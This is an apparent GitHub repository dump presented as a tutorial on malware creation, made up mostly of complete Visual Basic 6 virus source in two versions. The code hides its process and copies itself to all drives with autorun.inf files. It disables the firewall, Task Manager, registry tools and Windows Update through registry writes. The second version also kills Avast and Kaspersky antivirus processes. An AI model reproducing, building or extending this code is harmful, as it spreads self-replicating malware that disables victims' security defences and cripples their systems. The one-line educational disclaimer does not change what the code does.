├── simple_virus ├── simple_vx.vbw ├── Detection-Rate.png ├── simple_vx.vbp └── vx_houser.bas ├── simple_virus_withAAV ├── simple_vx.vbw ├── Detection-Rate.png ├── simple_vx.vbp └── vx_houser.bas ├── README.md └── LICENSE /simple_virus/simple_vx.vbw: -------------------------------------------------------------------------------- 1 | vx_houser = 75, 75, 855, 533, Z 2 | -------------------------------------------------------------------------------- /simple_virus_withAAV/simple_vx.vbw: -------------------------------------------------------------------------------- 1 | vx_houser = 75, 75, 855, 533, Z 2 | -------------------------------------------------------------------------------- /simple_virus/Detection-Rate.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/alienwithin/malware-intro/master/simple_virus/Detection-Rate.png -------------------------------------------------------------------------------- /simple_virus_withAAV/Detection-Rate.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/alienwithin/malware-intro/master/simple_virus_withAAV/Detection-Rate.png -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Malware Introduction 2 | 3 | This is a simple tutorial on malware creation, to give an understanding of some of the things that happen in the background and how they happen. 4 | 5 | Please note all projects herein are for educational purposes only. Do not use them to harm people 6 | 7 | The tutorials are here: 8 | - [Making A Basic Virus](https://www.alien-within.com/making-a-basic-virus/) 9 | - [Adding Anti-Antivirus technology to a virus](https://www.alien-within.com/adding-anti-antivirus-technology/) 10 | 11 | -------------------------------------------------------------------------------- /simple_virus/simple_vx.vbp: -------------------------------------------------------------------------------- 1 | Type=Exe 2 | Reference=*\G{00020430-0000-0000-C000-000000000046}#2.0#0#..\..\..\..\..\..\Windows\SysWOW64\stdole2.tlb#OLE Automation 3 | Module=vx_houser; vx_houser.bas 4 | Startup="Sub Main" 5 | HelpFile="" 6 | ExeName32="simple_vx.exe" 7 | Command32="" 8 | Name="simple_vx" 9 | HelpContextID="0" 10 | CompatibleMode="0" 11 | MajorVer=1 12 | MinorVer=0 13 | RevisionVer=0 14 | AutoIncrementVer=0 15 | ServerSupportFiles=0 16 | VersionCompanyName="BKHN" 17 | CompilationType=0 18 | OptimizationType=0 19 | FavorPentiumPro(tm)=0 20 | CodeViewDebugInfo=0 21 | NoAliasing=0 22 | BoundsCheck=0 23 | OverflowCheck=0 24 | FlPointCheck=0 25 | FDIVCheck=0 26 | UnroundedFP=0 27 | StartMode=0 28 | Unattended=0 29 | Retained=0 30 | ThreadPerObject=0 31 | MaxNumberOfThreads=1 32 | -------------------------------------------------------------------------------- /simple_virus_withAAV/simple_vx.vbp: -------------------------------------------------------------------------------- 1 | Type=Exe 2 | Reference=*\G{00020430-0000-0000-C000-000000000046}#2.0#0#..\..\..\..\..\..\Windows\SysWOW64\stdole2.tlb#OLE Automation 3 | Module=vx_houser; vx_houser.bas 4 | Startup="Sub Main" 5 | HelpFile="" 6 | ExeName32="simple_vx.exe" 7 | Command32="" 8 | Name="simple_vx" 9 | HelpContextID="0" 10 | CompatibleMode="0" 11 | MajorVer=1 12 | MinorVer=0 13 | RevisionVer=0 14 | AutoIncrementVer=0 15 | ServerSupportFiles=0 16 | VersionCompanyName="BKHN" 17 | CompilationType=0 18 | OptimizationType=0 19 | FavorPentiumPro(tm)=0 20 | CodeViewDebugInfo=0 21 | NoAliasing=0 22 | BoundsCheck=0 23 | OverflowCheck=0 24 | FlPointCheck=0 25 | FDIVCheck=0 26 | UnroundedFP=0 27 | StartMode=0 28 | Unattended=0 29 | Retained=0 30 | ThreadPerObject=0 31 | MaxNumberOfThreads=1 32 | -------------------------------------------------------------------------------- /simple_virus/vx_houser.bas: -------------------------------------------------------------------------------- 1 | Attribute VB_Name = "vx_houser" 2 | Option Explicit 3 | 4 | Sub Main() 5 | On Error Resume Next 6 | replicatorAndConcealer 7 | bomb 8 | End Sub 9 | Sub replicatorAndConcealer() 10 | ' This will handle the replicator objects as we will be using Windows File System Object to copy files 11 | Dim DrvLoc, drivs, mach, a, cop, mepath 12 | ' use this to execute stuff 13 | Dim c As String 14 | ' to handle resources as we create autorun files 15 | Dim AutorunResource As Integer 16 | ' this variable will handle setting our file attributes 17 | Dim fa As VbFileAttribute 18 | ' This will handle finding and freeing resources 19 | Dim freeResource 20 | 'Autorun File 21 | Dim autorun_file As String 22 | ' Hide current running application instance from task manager (Concealer) 23 | App.TaskVisible = False 24 | ' Initialize a few settings 25 | mepath = App.Path & "\" & App.EXEName & ".exe" 26 | autorun_file = App.Path + "\Autorun.inf" 27 | cop = drivs & "\replicated_malice.dll.exe" 28 | fa = vbHidden + vbReadOnly + vbSystem + vbAlias 29 | If App.PrevInstance = False Then 30 | ' apply hidden attributes to current running instance (Concealer) 31 | SetAttr mepath, fa 32 | 'copy to all drives root Using File System Object 33 | Set DrvLoc = CreateObject("Scripting.FileSystemObject") 34 | 'Instance of all drives in a machine 35 | Set mach = DrvLoc.drives 36 | For Each drivs In mach 37 | 'Identify drive types to copy to 38 | If (drivs.drivetype = 1) Or (drivs.drivetype = 2) Or (drivs.drivetype = 3) Or (drivs.drivetype = 4) Then 39 | FileCopy (App.Path & "\" & App.EXEName & ".exe"), (drivs & "\replicated_malice.dll.exe") 40 | SetAttr cop, fa 41 | 'makes autorun.inf for all the copies 42 | Open autorun_file For Output As #AutorunResource 43 | Print #AutorunResource, "[autorun]" 44 | Print #AutorunResource, "open = " + mepath 45 | Close #AutorunResource 46 | 'conceal autorun file 47 | SetAttr autorun_file, fa 48 | 'force pricessing of autorun file and replica 49 | c = Shell(App.Path + "\Autorun.inf", vbMinimizedNoFocus) 50 | a = Shell(drivs & "\replicated_malice.dll.exe", vbMinimizedNoFocus) 51 | End If 52 | Next 53 | End If 54 | End Sub 55 | 56 | Sub bomb() 57 | Dim wScrHstInstance 58 | Dim FirewallKiller 59 | 'Get firewall Instance 60 | Set FirewallKiller = CreateObject("HNetCfg.FwMgr") 61 | Dim profile 62 | 'Get Current User's Firewall Profile 63 | Set profile = FirewallKiller.LocalPolicy.CurrentProfile 64 | 'Disable the firewall 65 | profile.FIREWALLENABLED = False 66 | ' Create an instance of windows scripting host shell 67 | Set wScrHstInstance = CreateObject("Wscript.Shell") 68 | 'Disable Registry 69 | wScrHstInstance.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools", 1, "REG_DWORD" 70 | wScrHstInstance.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools", 1, "REG_DWORD" 71 | wScrHstInstance.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\DisableRegistryTools", 1, "REG_DWORD" 72 | wScrHstInstance.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\DisableRegistryTools", 1, "REG_DWORD" 73 | 'Disable Task Manager 74 | wScrHstInstance.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr", 1, "REG_DWORD" 75 | wScrHstInstance.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr", 1, "REG_DWORD" 76 | wScrHstInstance.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\DisableTaskMgr", 1, "REG_DWORD" 77 | wScrHstInstance.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\DisableTaskMgr", 1, "REG_DWORD" 78 | ' Remove some features from windows explorer 79 | wScrHstInstance.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRecentDocsMenu", 1, "REG_DWORD" 80 | wScrHstInstance.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFavoritesMenu", 1, "REG_DWORD" 81 | wScrHstInstance.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun", 1, "REG_DWORD" 82 | wScrHstInstance.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoClose", 1, "REG_DWORD" 83 | wScrHstInstance.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoLogOff", 1, "REG_DWORD" 84 | wScrHstInstance.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoSetFolders", 1, "REG_DWORD" 85 | wScrHstInstance.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoSetTaskBar", 1, "REG_DWORD" 86 | wScrHstInstance.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFolderOptions", 1, "REG_DWORD" 87 | wScrHstInstance.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoSetActiveDesktop", 1, "REG_DWORD" 88 | wScrHstInstance.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoWindowsUpdate", 1, "REG_DWORD" 89 | wScrHstInstance.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFind", 1, "REG_DWORD" 90 | 'Well evil swap of mouse buttons 91 | wScrHstInstance.regwrite "HKEY_CURRENT_USER\Control Panel\Mouse\SwapMouseButtons", 1, "REG_SZ" 92 | End Sub 93 | -------------------------------------------------------------------------------- /simple_virus_withAAV/vx_houser.bas: -------------------------------------------------------------------------------- 1 | Attribute VB_Name = "vx_houser" 2 | Option Explicit 3 | 4 | Sub Main() 5 | On Error Resume Next 6 | replicatorAndConcealer 7 | bomb 8 | End Sub 9 | Sub replicatorAndConcealer() 10 | ' This will handle the replicator objects as we will be using Windows File System Object to copy files 11 | Dim DrvLoc, drivs, mach, a, cop, mepath 12 | ' use this to execute stuff 13 | Dim c As String 14 | ' to handle resources as we create autorun files 15 | Dim AutorunResource As Integer 16 | ' this variable will handle setting our file attributes 17 | Dim fa As VbFileAttribute 18 | ' This will handle finding and freeing resources 19 | Dim freeResource 20 | 'Autorun File 21 | Dim autorun_file As String 22 | ' Hide current running application instance from task manager (Concealer) 23 | App.TaskVisible = False 24 | ' Initialize a few settings 25 | mepath = App.Path & "\" & App.EXEName & ".exe" 26 | autorun_file = App.Path + "\Autorun.inf" 27 | cop = drivs & "\replicated_malice.dll.exe" 28 | fa = vbHidden + vbReadOnly + vbSystem + vbAlias 29 | If App.PrevInstance = False Then 30 | ' apply hidden attributes to current running instance (Concealer) 31 | SetAttr mepath, fa 32 | 'copy to all drives root Using File System Object 33 | Set DrvLoc = CreateObject("Scripting.FileSystemObject") 34 | 'Instance of all drives in a machine 35 | Set mach = DrvLoc.drives 36 | For Each drivs In mach 37 | 'Identify drive types to copy to 38 | If (drivs.drivetype = 1) Or (drivs.drivetype = 2) Or (drivs.drivetype = 3) Or (drivs.drivetype = 4) Then 39 | FileCopy (App.Path & "\" & App.EXEName & ".exe"), (drivs & "\replicated_malice.dll.exe") 40 | SetAttr cop, fa 41 | 'makes autorun.inf for all the copies 42 | Open autorun_file For Output As #AutorunResource 43 | Print #AutorunResource, "[autorun]" 44 | Print #AutorunResource, "open = " + mepath 45 | Close #AutorunResource 46 | 'conceal autorun file 47 | SetAttr autorun_file, fa 48 | 'force pricessing of autorun file and replica 49 | c = Shell(App.Path + "\Autorun.inf", vbMinimizedNoFocus) 50 | a = Shell(drivs & "\replicated_malice.dll.exe", vbMinimizedNoFocus) 51 | End If 52 | Next 53 | End If 54 | End Sub 55 | 56 | Sub bomb() 57 | Dim FirewallKiller 58 | Dim wScrHstInstance 59 | 'Get firewall Instance 60 | Set FirewallKiller = CreateObject("HNetCfg.FwMgr") 61 | Dim profile 62 | 'Get Current User's Firewall Profile 63 | Set profile = FirewallKiller.LocalPolicy.CurrentProfile 64 | 'Disable the firewall 65 | profile.FIREWALLENABLED = False 66 | ' Create an instance of windows scripting host shell 67 | Set wScrHstInstance = CreateObject("Wscript.Shell") 68 | 'Disable Registry 69 | wScrHstInstance.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools", 1, "REG_DWORD" 70 | wScrHstInstance.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools", 1, "REG_DWORD" 71 | wScrHstInstance.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\DisableRegistryTools", 1, "REG_DWORD" 72 | wScrHstInstance.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\DisableRegistryTools", 1, "REG_DWORD" 73 | 'Disable Task Manager 74 | wScrHstInstance.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr", 1, "REG_DWORD" 75 | wScrHstInstance.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr", 1, "REG_DWORD" 76 | wScrHstInstance.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\DisableTaskMgr", 1, "REG_DWORD" 77 | wScrHstInstance.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\DisableTaskMgr", 1, "REG_DWORD" 78 | ' Remove some features from windows explorer 79 | wScrHstInstance.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRecentDocsMenu", 1, "REG_DWORD" 80 | wScrHstInstance.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFavoritesMenu", 1, "REG_DWORD" 81 | wScrHstInstance.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun", 1, "REG_DWORD" 82 | wScrHstInstance.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoClose", 1, "REG_DWORD" 83 | wScrHstInstance.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoLogOff", 1, "REG_DWORD" 84 | wScrHstInstance.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoSetFolders", 1, "REG_DWORD" 85 | wScrHstInstance.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoSetTaskBar", 1, "REG_DWORD" 86 | wScrHstInstance.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFolderOptions", 1, "REG_DWORD" 87 | wScrHstInstance.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoSetActiveDesktop", 1, "REG_DWORD" 88 | wScrHstInstance.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoWindowsUpdate", 1, "REG_DWORD" 89 | wScrHstInstance.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFind", 1, "REG_DWORD" 90 | 'Well evil swap of mouse buttons 91 | wScrHstInstance.regwrite "HKEY_CURRENT_USER\Control Panel\Mouse\SwapMouseButtons", 1, "REG_SZ" 92 | 'for avast if available then 93 | KillAV ("ASHSIMP2.EXE") 94 | KillAV ("ASHSIMPL.EXE") 95 | KillAV ("SCHED.EXE") 96 | KillAV ("VISTHAUX.EXE") 97 | KillAV ("VISTHUPD.EXE") 98 | KillAV ("ASHDISP.EXE") 99 | KillAV ("ASHSERV.EXE") 100 | KillAV ("ASWUPDSV.EXE") 101 | KillAV ("ASHMAISV.EXE") 102 | KillAV ("ASHWEBSV.EXE") 103 | 'FOR KASPERSKY 104 | KillAV ("AVP.EXE") 105 | KillAV ("KLMOVER.EXE") 106 | KillAV ("KLNAGENT.EXE") 107 | KillAV ("KLNAGCHK.EXE") 108 | 109 | End Sub 110 | Public Function KillAV(AppNameOfExe As String) 111 | On Error Resume Next 112 | Dim GetProcess As Object 113 | Dim GetProcessTool As Object 114 | Dim ProcessByProcess As Object 115 | Set GetProcessTool = GetObject("winmgmts:") 116 | If IsNull(GetProcessTool) = False Then 117 | Set GetProcess = GetProcessTool.InstancesOf("win32_process") 118 | For Each ProcessByProcess In GetProcess 119 | If UCase(ProcessByProcess.Name) = UCase(AppNameOfExe) Then 120 | ProcessByProcess.Terminate (0) 121 | End If 122 | Next 123 | Else 124 | End If 125 | Set GetProcess = Nothing 126 | Set GetProcessTool = Nothing 127 | End Function 128 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | Apache License 2 | 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